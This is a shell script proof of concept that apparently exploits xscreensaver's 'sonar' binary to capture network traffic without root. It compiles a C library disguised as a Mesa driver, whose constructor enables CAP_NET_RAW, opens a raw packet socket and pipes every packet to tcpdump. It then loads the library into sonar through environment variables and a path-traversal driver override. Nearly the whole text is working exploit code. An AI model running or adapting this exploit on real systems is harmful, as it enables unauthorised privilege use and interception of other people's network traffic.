#!/bin/sh # # You can use xscreensaver to get tcpdump to work without needing root. # tmpdir=$(mktemp -d) cat << EOF > ${tmpdir}/sock.c #include #include #include #include #include #include #include #include #include #include #include #include #define PCAP_MAGIC 0xa1b2c3d4 #define PCAP_MAJOR 2 #define PCAP_MINOR 4 #define LINKTYPE_ETHERNET 1 static struct { uint32_t magic_number; uint16_t version_major; uint16_t version_minor; int32_t thiszone; uint32_t sigfigs; uint32_t snaplen; uint32_t network; } pcaphdr; static struct { uint32_t ts_sec; uint32_t ts_usec; uint32_t incl_len; uint32_t orig_len; } rechdr; static const cap_value_t caplist[] = { CAP_NET_RAW }; void __attribute__((constructor)) init() { FILE *tcpdump; int sock; cap_t caps; char buffer[IP_MAXPACKET]; // Enable CAP_NET_RAW caps = cap_get_proc(); cap_set_flag(caps, CAP_EFFECTIVE, 1, caplist, CAP_SET); cap_set_proc(caps); cap_free(caps); // Now we can get a raw socket. sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sock < 0) { err(EXIT_FAILURE, "failed to create socket"); } // Prepare a pcap header pcaphdr.magic_number = PCAP_MAGIC; pcaphdr.version_major = PCAP_MAJOR; pcaphdr.version_minor = PCAP_MINOR; pcaphdr.snaplen = sizeof(buffer); pcaphdr.network = LINKTYPE_ETHERNET; tcpdump = popen("/usr/bin/tcpdump -vv -r- || /usr/sbin/tcpdump -vv -r-", "w"); if (tcpdump == NULL) { err(EXIT_FAILURE, "you dont have tcpdump installed"); } if (fwrite(&pcaphdr, sizeof(pcaphdr), 1, tcpdump) != 1) { err(EXIT_FAILURE, "failed to write pcap header"); } while (true) { ssize_t cnt = recvfrom(sock, buffer, sizeof(buffer), 0, NULL, NULL); if (cnt < 0) { err(EXIT_FAILURE, "failed to read from socket"); } rechdr.ts_sec = time(0); rechdr.incl_len = cnt; rechdr.orig_len = cnt; if (fwrite(&rechdr, sizeof(rechdr), 1, tcpdump) != 1) { err(EXIT_FAILURE, "failed to write record header"); } if (fwrite(buffer, cnt, 1, tcpdump) != 1) { err(EXIT_FAILURE, "failed to write packet"); } fflush(tcpdump); } } EOF if ! gcc -fPIC -shared -o ${tmpdir}/swrast_dri.so ${tmpdir}/sock.c -lcap; then echo compile failed, make sure libcap-dev and gcc available exit 1 fi if ! test -x /usr/bin/tcpdump -o -x /usr/sbin/tcpdump; then echo you dont have tcpdump installed, its used by this poc exit 1 fi if ! test -x /usr/libexec/xscreensaver/sonar; then if ! test -x /usr/lib/xscreensaver/sonar; then echo you dont seem to have xscreensaver installed exit 1 else sonar=/usr/lib/xscreensaver/sonar fi else sonar=/usr/libexec/xscreensaver/sonar fi if ! env LIBGL_DRIVERS_PATH=${tmpdir} \ MESA_LOADER_DRIVER_OVERRIDE=../../../../../../${tmpdir}/swrast \ ${sonar}; then echo failed to run xsreensaver exit 1 fi